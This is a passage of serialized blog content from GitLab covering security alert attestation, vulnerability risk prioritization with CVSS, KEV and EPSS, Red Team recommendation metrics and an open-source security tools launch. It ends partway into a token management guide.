Rulesets","en-us/blog/enhance-data-security-with-custom-pii-detection-rulesets.yml","en-us/blog/enhance-data-security-with-custom-pii-detection-rulesets",{"_path":945,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":946,"content":952,"config":959,"_id":961,"_type":16,"title":962,"_source":17,"_file":963,"_stem":964,"_extension":20},"/en-us/blog/self-service-security-alert-handling-with-gitlabs-uam",{"title":947,"description":948,"ogTitle":947,"ogDescription":948,"noIndex":6,"ogImage":949,"ogUrl":950,"ogSiteName":767,"ogType":768,"canonicalUrls":950,"schema":951},"Self-service security alert handling with GitLab's UAM","The User Attestation Module automates security alerts by routing them directly to team members for verification, reducing manual SecOps work and enhancing audit trails.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662080/Blog/Hero%20Images/AdobeStock_1097303277.jpg","https://about.gitlab.com/blog/self-service-security-alert-handling-with-gitlabs-uam","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Self-service security alert handling with GitLab's UAM\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bala Allam\"},{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2025-03-18\",\n      }",{"title":947,"description":948,"authors":953,"heroImage":949,"date":955,"body":956,"category":14,"tags":957},[954,794],"Bala Allam","2025-03-18","The [GitLab Security Operations team](https://handbook.gitlab.com/handbook/security/security-operations/) prioritizes automation that enables security engineers to focus on high-impact work rather than routine tasks that can be automated. A key innovation in this automation strategy is creation of the User Attestation Module (UAM), which allows GitLab team members to directly respond to and verify security alerts flagged as potentially malicious. When the [GUARD framework](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/) detects suspicious activity, it routes the alert to the relevant team member for review. The team member can then attest whether they recognize and authorize the activity. Their response is recorded for audit purposes, and, based on their input, the system either closes the alert or escalates it to the Security Incident Response Team (SIRT).\n\nIn this article, you'll learn about the UAM and how it can benefit your DevSecOps environment.\n\n## How the User Attestation Module works\n\nThe UAM streamlines security alert handling through a comprehensive workflow that includes:\n\n* Alert verification by team members  \n* Collection and documentation of supporting evidence  \n* Option to request additional support from GitLab SecOps  \n* Secure storage of team member responses  \n* Automated alert resolution or incident escalation  \n* Team member feedback collection for continuous improvement\n\nWe created UAM to help us: \n\n1. Route low priority alerts (such as administrative activities) to the relevant team members who performed them.  \n2. Reduce alert fatigue by first checking with the team member who completed the activity before routing to SIRT if necessary.   \n3. Collect and store team member responses to maintain an audit trail and rich metrics.   \n4. Create a response tier between **SIRT needs to triage this alert** and **This is an informational signal that does not need to be reviewed directly**.\n\n## UAM's design principles\n\nThe UAM is a Slack-first automation that reaches out to team members to validate activity directly in Slack, reducing effort and increasing participation. Today, 40% of all security alerts are delivered to team members through the UAM, saving SIRT valuable time to focus on higher importance alerts and incidents. \n\nA robust escalation workflow in the UAM ensures that all alerts are validated by team members or escalated to SIRT. When a UAM alert reaches a team member, they have a period of time to respond attesting to the activity or stating they do not recognize the activity. If no response is recorded, the UAM alert is auto-escalated to SIRT for handling. \n\nComprehensive metrics collection is a core GUARD design principle, which extends to how we designed UAM. All user interactivity with triggered UAM alerts is logged in a metrics database, which enables comprehensive measurement to identify problematic alerts, opportunities for process improvement, and overall UAM health.\n\nUAM enables a third alert tier, bridging the gap between alerts that always needed to be investigated, and lower importance informational signals that are grouped by entity for escalation and correlation. \n\n- Stable alerts (must be triaged and investigated by SIRT)  \n- UAM alerts (routed to team members to attest to the activity)  \n- Informational signal (low-importance events that are interesting and correlated by entity grouping)\n\n## UAM components \n\nThe UAM framework consists of multiple components:\n\n- GitLab: Fetches a user email address based on user_id via user’s API and stores user's responses  - Slack: Searches each user by email using Slack API and posts a UAM notification to the end user as well as collects responses from users using Slack modals  \n- Tines: Processes and orchestrates user responses and alerts     \n- Devo: Receives alert payload and alert notifications  \n- Metrics DB: Records metrics for triggered UAM alerts\n\nThe workflow integrates with following modules:\n\n- GitLab API for user identification  \n- Slack API for user communication  \n- Webhook configuration for alert reception  \n- Audit trail storage in GitLab\n\n## UAM workflow\n\nThe diagram below illustrates the workflow of the UAM module:\n\n![UAM - flow chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674678/Blog/Content%20Images/UAM_detection_edited.png)\n\n## Following along with GUARD\n\nWe are still unveiling parts of GUARD and how it works, so [follow along](https://gitlab.com/gitlab-security-oss/guard) to learn how we automate our security detections from end to end.\n\n## Read more about the GUARD framework\n\n- [Unveiling the GUARD framework to automate security detections at GitLab](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/)  \n- [Automating cybersecurity threat detections with GitLab CI/CD](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/)\n- [Open Source Security at GitLab](https://about.gitlab.com/security/open-source-resources/)",[14,696,479,695,958],"open source",{"slug":960,"featured":6,"template":677},"self-service-security-alert-handling-with-gitlabs-uam","content:en-us:blog:self-service-security-alert-handling-with-gitlabs-uam.yml","Self Service Security Alert Handling With Gitlabs Uam","en-us/blog/self-service-security-alert-handling-with-gitlabs-uam.yml","en-us/blog/self-service-security-alert-handling-with-gitlabs-uam",{"_path":966,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":967,"content":973,"config":978,"_id":980,"_type":16,"title":981,"_source":17,"_file":982,"_stem":983,"_extension":20},"/en-us/blog/vulnerability-risk-prioritization-made-simple-with-gitlab",{"title":968,"description":969,"ogTitle":968,"ogDescription":969,"noIndex":6,"ogImage":970,"ogUrl":971,"ogSiteName":767,"ogType":768,"canonicalUrls":971,"schema":972},"Vulnerability risk prioritization made simple with GitLab","GitLab provides detailed vulnerability risk data to assess the potential impact of detected vulnerabilities. Learn how this enables teams to effectively prioritize remediation efforts.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674528/Blog/Hero%20Images/blog-image-template-1800x945__5_.png","https://about.gitlab.com/blog/vulnerability-risk-prioritization-made-simple-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Vulnerability risk prioritization made simple with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-03-12\",\n      }",{"title":968,"description":969,"authors":974,"heroImage":970,"date":975,"body":976,"category":14,"tags":977},[856],"2025-03-12","Development and security teams are often overwhelmed by the number of vulnerabilities they need to remediate. Many organizations remediate [less than 16%](https://arxiv.org/pdf/2302.14172) of their known vulnerabilities monthly. Vulnerability management teams face a constant challenge: which security flaws deserve immediate attention? Three key frameworks help answer this question: Common Vulnerability Scoring System ([CVSS](https://nvd.nist.gov/vuln-metrics/cvss)), Known Exploited Vulnerabilities ([KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)), and Exploit Prediction Scoring System ([EPSS](https://www.first.org/epss/)). The [GitLab 17.9 release](https://about.gitlab.com/releases/2025/02/20/gitlab-17-9-released/) adds support for these frameworks. In this article, you'll learn how to use these frameworks within GitLab to efficiently prioritize risk across your dependency and container image vulnerabilities using this data. \n\n![Vulnerability risk assessment data](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674763/Blog/Content%20Images/vulnerability_data.png)\n\n\u003Ccenter>\u003Ci>Vulnerability risk assessment data\u003C/i>\u003C/center>\n\n## CVSS\n\nCVSS provides a standardized method for rating the severity of security vulnerabilities. Scores range from 0 to 10, with higher values indicating greater severity.\n\nCVSS evaluates vulnerabilities across three dimension groups:\n\n* Base metrics: intrinsic qualities that don't change over time (attack complexity, privileges   required)  \n* Temporal metrics: factors that evolve (exploit maturity, remediation level)  \n* Environmental metrics: organization-specific impact considerations\n\nCVSS offers a consistent severity baseline and common language for security teams. Its comprehensive scoring methodology considers multiple aspects of a vulnerability's technical impact.\n\n## KEV\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) maintains the KEV catalog, which identifies vulnerabilities actively exploited in the wild.\n\nUnlike academic severity scores, KEV focuses on real-world threat intelligence. Each entry includes:\n\n* CVE identifier  \n* Vulnerability name  \n* Action required  \n* Due date for remediation (for federal agencies)\n\nKEV provides actionable intelligence based on observed threat actor behavior. It cuts through scoring complexity with a binary signal: \"This vulnerability is being actively exploited right now.\"\n\n## EPSS\n\nThe EPSS uses machine learning to predict the likelihood a vulnerability will be exploited in the next 30 days. Scores range from 0 to 1 (or 0%-100%), representing probability.\n\nEPSS analyzes hundreds of factors, including:\n* Technical characteristics  \n* Social media mentions  \n* Exploit availability  \n* Vulnerability age\n\nEPSS brings risk-based prioritization to vulnerability management. Rather than focusing solely on technical severity, it helps teams understand which vulnerabilities attackers are most likely to target.\n\n## Combining the frameworks for effective prioritization\n\nEach framework serves a unique purpose:\n\n* CVSS indicates how severe a vulnerability is technically.  \n* KEV indicates which vulnerabilities are actively being exploited. \n* EPSS indicates which vulnerabilities are likely to be exploited soon.\n\nAn effective prioritization strategy leverages all three:\n\n1. Start with KEV-listed vulnerabilities as immediate priorities.  \n2. Use EPSS to identify high-probability threats not yet on KEV.  \n3. Consider CVSS for understanding technical impact.\n\nBy combining these complementary frameworks, security teams can focus limited resources on the vulnerabilities that pose the greatest actual risk to their organizations. You can get started with prioritizing vulnerabilities with GitLab by:\n\n1. Adding security scanners to your pipeline  \n2. Viewing vulnerability insights  \n3. Setting the vulnerability status based metrics\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/7-dWwoKfCHw?si=iC73JCRsxPUEWKf-\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Adding security scanners to your pipeline\n\nGitLab provides built-in security scanning tools through its templates that can be integrated directly into your CI/CD pipeline. GitLab offers several security scanners that address different aspects of your application security:\n\n* **[Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/):** Analyzes your source code for known vulnerabilities  \n* **[Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/user/application_security/dast/):** Tests your running application for vulnerabilities  \n* **[Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/):** Checks your dependencies for known vulnerabilities  \n* **[Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/):** Identifies vulnerabilities in container images  \n* **[Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/):** Finds secrets and credentials accidentally committed to your repository  \n* **[Infrastructure as Code Scanning](https://docs.gitlab.com/user/application_security/iac_scanning/):** Detects security issues in IaC files  \n* **[Coverage-guided Fuzzing](https://docs.gitlab.com/user/application_security/coverage_fuzzing/):** Sends random inputs to an instrumented version of your application in an effort to detect bugs  \n* **[Web API Fuzzing](https://docs.gitlab.com/user/application_security/api_fuzzing/):** Sets operation parameters to unexpected values in an effort to cause unexpected behavior and errors in the API backend\n\nTo add them to your pipeline, simply add the appropriate templates to `.gitlab-ci.yml` file. For example, adding SAST and Dependency Scanning to your pipeline is as simple as:\n\n```yaml  \ninclude:  \n  - template: Security/SAST.gitlab-ci.yml  \n  - template: Security/Dependency-Scanning.gitlab-ci.yml\n\nstages:  \n  - test  \n```\n\nOnce you commit the above changes, security scanners will begin to run. These scanners can be further configured to meet the needs of your organization. To learn more about our various scanners, see the [GitLab application security documentation](https://docs.gitlab.com/user/application_security/).\n\n**Note:** EPSS and KEV metrics are only provided for [dependency](https://docs.gitlab.com/user/application_security/dependency_scanning/) and [container image](https://docs.gitlab.com/user/application_security/container_scanning/) vulnerabilities.\n\n### Viewing vulnerability insights\n\nOnce a pipeline with your security scanners is run on the default branch, you can access the vulnerability report. The vulnerability report provides a consolidated view of all security vulnerabilities detected across your project by GitLab's security scanners. You can access it from your project by going to the side-tab and selecting **Secure > Vulnerability Report**.\n\n![Vulnerability report grouped by tool](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674763/Blog/Content%20Images/vulnerability_report__1_.png)\n\n\u003Ccenter>\u003Ci>Vulnerability report grouped by tool\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nFrom the vulnerability report, select a vulnerability to see its insights page, which includes the severity, EPSS, KEV, and CVSS along with the following:\n\n* description  \n* when it was detected  \n* current status  \n* available actions  \n* linked issues  \n* actions log  \n* filename and line number of the vulnerability (if available)\n\nThis data can be used to effectively triage, remediate, or mitigate the vulnerability.\n\n__Note:__ From the insights page, you can also leverage GitLab Duo’s AI capabilities to [explain](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-explanation) and [auto-resolve](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-resolution) a vulnerability.\n\n### Setting the vulnerability status-based metrics\n\nAfter examining the provided data, we can go ahead and change the status of our vulnerability by clicking the **Change status** button:  \n\n![Change vulnerability status from insights page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674764/Blog/Content%20Images/change_status.png)\n\n\u003Ccenter>\u003Ci>Change vulnerability status from insights page\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nThen we'll see a popup that will allow you to change the status of a vulnerability:\n\n![Change vulnerability status option](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674763/Blog/Content%20Images/change_status_2.png)\n\n\u003Ccenter>\u003Ci>Change vulnerability status option\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nWhen you dismiss a vulnerability you can choose one of the following reasons and optionally provide a comment:\n\n* **Acceptable risk:** The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk.  \n* **False positive:** An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present.  \n* **Mitigating control:** The vulnerability’s risk is mitigated by a management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system.  \n* **Used in tests:** The finding is not a vulnerability because it is part of a test or is test data.  \n* **Not applicable:** The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated.\n\nAnd there you have it, quick and easy vulnerability risk prioritization with GitLab!\n\n> Get started today with [a free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)!\n\n## Learn more\n\nTo learn more about GitLab security and governance features and how we can help enhance your security posture, check out the following resources:\n\n* [GitLab Risk Assessment Data](https://docs.gitlab.com/user/application_security/vulnerabilities/risk_assessment_data/)   \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab Application Security documentation](https://docs.gitlab.com/ee/user/application_security/)  \n* [GitLab Risk Assessment Data epic](https://gitlab.com/groups/gitlab-org/-/epics/11544)",[696,14,776],{"slug":979,"featured":92,"template":677},"vulnerability-risk-prioritization-made-simple-with-gitlab","content:en-us:blog:vulnerability-risk-prioritization-made-simple-with-gitlab.yml","Vulnerability Risk Prioritization Made Simple With Gitlab","en-us/blog/vulnerability-risk-prioritization-made-simple-with-gitlab.yml","en-us/blog/vulnerability-risk-prioritization-made-simple-with-gitlab",{"_path":985,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":986,"content":992,"config":998,"_id":1000,"_type":16,"title":1001,"_source":17,"_file":1002,"_stem":1003,"_extension":20},"/en-us/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric",{"title":987,"description":988,"ogTitle":987,"ogDescription":988,"noIndex":6,"ogImage":989,"ogUrl":990,"ogSiteName":767,"ogType":768,"canonicalUrls":990,"schema":991},"How GitLab measures Red Team impact: The adoption rate metric","Follow our journey to develop and implement better metrics, including how we used GitLab to track our results end-to-end. Also find out the lessons learned along the way.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663239/Blog/Hero%20Images/AdobeStock_1023776629.jpg","https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab measures Red Team impact: The adoption rate metric\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2025-03-05\",\n      }",{"title":987,"description":988,"authors":993,"heroImage":989,"date":995,"body":996,"category":14,"tags":997},[994],"Chris Moberly","2025-03-05","In early 2024, we started a journey to implement better metrics for [our internal Red Team](https://handbook.gitlab.com/handbook/security/security-operations/red-team/). Our first iteration focused on what we now call the adoption rate metric, which measures how often the recommendations our team makes are accepted and implemented.\n\nChoosing this metric was very deliberate. While there are many ways to measure a Red Team's impact, we wanted to start with something fundamental: Are we actually driving meaningful security improvements? The adoption rate directly ties our work to real security outcomes, and we could measure it using tools and processes we already had in place.\n\nIn this article, you'll discover how we used GitLab to track these results end-to-end, some lessons we learned (including what we would have done differently), and our plans to tackle the next set of metrics.\n\n## How we implemented the adoption rate metric\n\nWe use GitLab extensively for our Red Team planning, execution, and reporting. Every operation wraps up with a report that's written in markdown in a dedicated GitLab project. Each report contains a section called \"Recommendations\" with a list of suggestions to make GitLab more secure.\n\nThose recommendations are always linked to a dedicated issue, which we open in the project closest to the team who can address it. If we're suggesting a product feature, it goes directly in that tracker. If it's a detection capability, it goes into the detections as code repository. We always assign a directly responsible individual (DRI) in the group that owns that space, and we use [this issue template](https://gitlab.com/gitlab-com/gl-security/security-operations/redteam/redteam-public/resources/red-team-issue-templates/-/blob/main/.gitlab/issue_templates/recommendation.md?ref_type=heads) to ensure consistency in describing the problem, the risk, and potential solutions.\n\n![Red team - recommendation-example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674984/Blog/Content%20Images/recommendation-example__1_.png)\n\nHere's where the tracking logistics come in. We use GitLab labels to classify the recommendation across three categories:\n\n- Detections and alerts (`RTRec::Detection`)  \n- Security controls (`RTRec::Control`)  \n- Processes and procedures (`RTRec::Process`)\n\nWe then use another set of labels to follow the lifecycle of that recommendation – from review all the way through adoption:\n\n- Under review (`RecOutcome::UnderReview`)  \n- Accepted and actively being worked on (`RecOutcome::InProgress`)  \n- Accepted but backlogged (`RecOutcome::Backlogged`)  \n- Accepted but blocked (`RecOutcome::Blocked`)  \n- Fully adopted and closed (`RecOutcome::Adopted`)  \n- Partially adopted and closed (`RecOutcome::PartiallyAdopted`)  \n- Not adopted and closed (`RecOutcome::NotAdopted`)\n\n## How we stay on top of recommendations\n\nWe use a new GitLab feature called [\"GitLab Query Language\" (GLQL)](https://docs.gitlab.com/ee/user/glql/) to build a dynamic Security Recommendations Dashboard inside a GitLab issue.\n\nThis issue allows us to quickly identify things like:\n\n- open recommendations that haven't been updated recently  \n- open recommendations that have been backlogged for an extended period of time  \n- closed recommendations that weren't properly labeled with an adoption outcome\n\nWe've found this process encourages the Red Team to follow up on stale recommendations, reaching out to the owners and seeing how we can help get them adopted.\n\nGLQL is very cool, and allows us to turn a short code block like this:\n\n```yaml  \n---  \ndisplay: table  \nfields: title, labels(\"RTRec::*\"), labels(\"RecOutcome::*\"), created, updated  \n---  \ngroup = \"gitlab-com\"  \nAND label = \"RTRec::*\"  \nAND opened = true  \n```\n\n... into a dynamic table like this:\n\n![Red Team - GLQL table](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674984/Blog/Content%20Images/glql-table.png)\n\nThat table for us is very tactical and we use it to keep things moving. Beyond that, we also visualize the adoption rate trends over time. That allows us to look at things like quarterly adoption rate percentages, how long different types of recommendations take to adopt and implement, and how these figures vary across departments.\n\n## Lessons learned\n\n**1. Start with metrics in place; don't wait for your program to mature first.**\n\nEarly in our Red Team's development, we focused more on how we would execute operations and less on how we would measure them. The idea of using metrics to distill complex operations into simple numbers felt like it might oversimplify our work. But we've learned that thoughtful metrics don't reduce the value of Red Team operations - they help demonstrate our impact and guide our program's growth. Starting with clear metrics earlier would have accelerated this growth.\n\nImplementing these metrics later meant spending significant time reformatting years of historical recommendations to enable consistent analysis. Had we planned for metrics from the start, we could have saved ourselves a lot of time and effort.\n\nWe’re keeping this lesson in mind as we start on our next set of metrics, threat resilience, which we talk about below.\n\n**2. Don't operate in a silo.**\n\nRed Teams aren't the only groups that provide recommendations in a security organization. At GitLab, we have our bug bounty program, our external pentests, product security, security assurance, and security operations.\n\nOn the Red Team, we developed our own recommendations process from scratch. It's been fairly effective, but we have noticed some areas for improvement, particularly around prioritization, project management, and alignment with our organization's risk reporting process.\n\nWe also noticed that some other teams are really good at these areas such as our bug bounty program and the triaging of findings from our external pentests. Those particular groups are very good at delivering product recommendations, and we've been learning from their approach to improve our own delivery methods.\n\nSo we've taken our success with visualizing metrics and are integrating these lessons to create a more standard format that can be used across teams. This will allow us to leverage things that are working well, like our adoption rate metric, and combine them with the more efficiently managed processes used by other groups to ultimately achieve a higher adoption rate and a more secure GitLab.\n\n## Next up: Measuring our threat resilience\n\nNext up for us is implementing metrics around threat resilience. We want to measure how well GitLab can prevent, detect, and respond to the threats most relevant to our organization. We're building a dashboard that will help visualize this data, showing our top threat actors and a series of scores that measure how well we defend against their specific techniques.\n\nOur goal is to have this dashboard drive decisions around what Red Team operations to conduct, what defensive capabilities to improve, and in general where we should be investing time and effort across our entire security division.\n\nWe hope to consolidate our existing tools in this process and are currently evaluating solutions. We'll share more info when we've achieved some success here.\n\n## Key takeaways and how to get started\n\nIf you're looking to measure your Red Team's impact, here's what we've learned:\n\n1. Start tracking metrics early, even if they're not perfect.  \n2. Focus on actionable metrics first (like adoption rate).  \n3. Use your existing tools. We used GitLab and Tableau, but the approach works with any tracking system.  \n4. Collaborate across security teams to leverage existing processes when possible.\n\nWe'd love to hear about your experience with metrics in security so drop a comment below or open an issue in one of our [public projects](https://gitlab.com/gitlab-com/gl-security/security-operations/redteam/redteam-public).\n\n## Read more from GitLab's Red Team  \n- [Stealth operations: The evolution of GitLab's Red Team](https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team/)  \n- [How GitLab's Red Team automates C2 testing](https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing/)  \n- [How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely/)",[14,776,675],{"slug":999,"featured":6,"template":677},"how-gitlab-measures-red-team-impact-the-adoption-rate-metric","content:en-us:blog:how-gitlab-measures-red-team-impact-the-adoption-rate-metric.yml","How Gitlab Measures Red Team Impact The Adoption Rate Metric","en-us/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric.yml","en-us/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric",{"_path":1005,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1006,"content":1012,"config":1017,"_id":1019,"_type":16,"title":1020,"_source":17,"_file":1021,"_stem":1022,"_extension":20},"/en-us/blog/introducing-gitlabs-open-source-security-center",{"title":1007,"description":1008,"ogTitle":1007,"ogDescription":1008,"noIndex":6,"ogImage":1009,"ogUrl":1010,"ogSiteName":767,"ogType":768,"canonicalUrls":1010,"schema":1011},"Introducing GitLab’s Open Source Security Center","Our open source repository of projects designed to enhance security operations and risk management will help developers adapt faster, respond smarter, and defend better — together.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661895/Blog/Hero%20Images/blog-image-template-1800x945__7_.png","https://about.gitlab.com/blog/introducing-gitlabs-open-source-security-center","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab’s Open Source Security Center\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Salman Ladha\"},{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2025-03-04\",\n      }",{"title":1007,"description":1008,"authors":1013,"heroImage":1009,"date":1014,"body":1015,"category":14,"tags":1016},[710,772],"2025-03-04","Today, we’re excited to announce the launch of [GitLab’s Open Source Security Center](https://about.gitlab.com/security/open-source-resources/) — a central repository of security-focused projects developed by GitLab’s internal security team. These tools are designed to help developers, security practitioners, and organizations build safer, more secure software, and more resilient security programs.\n\nSecuring systems is an ongoing challenge for businesses as threat actors continually adapt to new technologies and find creative ways to exploit organizations. Not only are they evolving their tactics, techniques and procedures, but they’re also [collaborating through criminal networks](https://insights.blackhatmea.com/do-cybercriminals-collaborate-and-build-community/), sharing strategies, stolen data, and malicious tools to launch coordinated attacks at scale. \n\nAs these threats grow in complexity, community-driven collaboration is one of our most powerful defenses. It’s a notion we’ve long understood in security — that *defending against adversaries is a shared responsibility*. By working together as a community, we can accelerate our collective intelligence and stay ahead of adversaries.\n\nIn open-sourcing our security solutions, we aim to empower teams to adapt faster, respond smarter, and defend better — together.\n\n[![Open Source Security Center page image](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674572/Blog/Content%20Images/Screenshot_2025-03-04_at_08.10.05.png)](https://about.gitlab.com/security/open-source-resources/)\n\n## Why open source security? \n\nAt GitLab, open source isn’t just part of our technology — it’s part of our [founding story](https://about.gitlab.com/company/).\n\nSince day one, we’ve championed the open source philosophy, believing that transparency, collaboration, and community-driven development are keys to building better software. Over the years, GitLab has fostered an open source community with more than [4,000 contributors](https://about.gitlab.com/community/contribute/) and has provided a comprehensive DevSecOps platform through its open source [Community Edition](https://about.gitlab.com/install/ce-or-ee/).\n\nWe’ve also been inspired by industry leaders like [Crowdstrike](https://opensource.crowdstrike.com/) and [Palo Alto Networks](https://www.paloaltonetworks.ca/prisma/cloud/open-source-projects), who have shown that open-sourcing security tools not only improves innovation but also strengthens the entire security ecosystem. Following in their footsteps, GitLab is committed to supporting the community by sharing tools, templates, and frameworks developed by our security teams.\n\n## Explore our featured open source security projects\n\nWe’re launching the Open Source Security Center with a range of projects designed to enhance security operations and risk management. Here are some of the featured projects:\n\n* **[StORM templates](https://gitlab.com/gitlab-security-oss/risk-mgmt/storm-templates/):** Streamline your security risk program with templates that standardize risk tracking and reporting.\n\n* **[GUARD Framework](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/):** Automate response and detection with a detections-as-code approach that simplifies detection creation, maintenance, and alert routing.  \n\n* **[GitLab CIS Benchmark Scanner](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/):** Improve your project’s security posture by auditing against the Center for Internet Security GitLab Benchmark.\n\nWhether you’re a security engineer, researcher, or developer, your expertise and contributions are invaluable. Join us in strengthening the security ecosystem and collaborating with a community dedicated to making software safer for everyone.\n\n> [Explore GitLab’s Open Source Security Center](https://about.gitlab.com/security/open-source-resources/) and contribute to the next chapter of open source security. \n\n## Learn more\n\n- [New CIS GitLab Benchmark scanner boosts security and compliance](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/)\n- [GitLab introduces new CIS Benchmark for improved security](https://about.gitlab.com/blog/gitlab-introduces-new-cis-benchmark-for-improved-security/)\n- [Unveiling the GUARD framework to automate security detections at GitLab](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/)\n- [Automating cybersecurity threat detections with GitLab CI/CD](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/)",[14,798,958,776,715],{"slug":1018,"featured":92,"template":677},"introducing-gitlabs-open-source-security-center","content:en-us:blog:introducing-gitlabs-open-source-security-center.yml","Introducing Gitlabs Open Source Security Center","en-us/blog/introducing-gitlabs-open-source-security-center.yml","en-us/blog/introducing-gitlabs-open-source-security-center",{"_path":1024,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1025,"content":1031,"config":1037,"_id":1039,"_type":16,"title":1040,"_source":17,"_file":1041,"_stem":1042,"_extension":20},"/en-us/blog/the-ultimate-guide-to-token-management-at-gitlab",{"title":1026,"description":1027,"ogTitle":1026,"ogDescription":1027,"noIndex":6,"ogImage":1028,"ogUrl":1029,"ogSiteName":767,"ogType":768,"canonicalUrls":1029,"schema":1030},"The ultimate guide to token management at GitLab","Learn all the steps in the end-to-end process of identifying, managing, and securing tokens for improved security across the software development lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097408/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097407860.jpg","https://about.gitlab.com/blog/the-ultimate-guide-to-token-management-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to token management at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hakeem Abdul-Razak\"}],\n        \"datePublished\": \"2025-02-25\",\n      }",{"title":1026,"description":1027,"authors":1032,"heroImage":1028,"date":1034,"body":1035,"category":14,"tags":1036},[1033],"Hakeem Abdul-Razak","2025-02-25","Imagine this: You are an engineer at a growing tech company, and it’s 2 a.m. when you get an urgent call. A critical deployment pipeline has failed, and your team is scrambling to figure out why. After hours of digging, you realize someone revoked a personal access token belonging to an engineer who left the company a week ago. This token was tied to several key automation processes, and now your entire system is in chaos. How do you make sure it does not happen again?\n\nFollow this guide, which takes GitLab customers through the end-to-end process of identifying, managing, and securing their tokens. It is meant to be a handy supplement to the extensive [token overview documentation](https://docs.gitlab.com/ee/security/tokens) for GitLab administrators, developers, and security teams who need to ensure proper token management within their projects.\n\nHere's what is covered in this guide:\n- [How to select the right token for the job](#how-to-select-the-right-token-for-the-job)\n- [Token types](#token-types)\n- [Discovering your tokens](#discovering-your-tokens)\n    - [Credentials inventory](#credentials-inventory)\n- [Managing tokens in the GitLab UI and API](#managing-tokens-in-the-gitlab-ui-and-api)\n- [Token rotation and expiration management](#token-rotation-and-expiration-management)\n- [Token management best practices](#token-management-best-practices)\n    - [Service accounts](#service-accounts)\n\n## How to select the right token for the job\n\nChoosing the right token ensures optimal security and functionality based on your use case. \nTokens can be used for authenticating API requests, automating CI/CD pipelines, integrating third-party tools, managing deployments and repositories, and more.\n\n![Token management guide - flow chart for 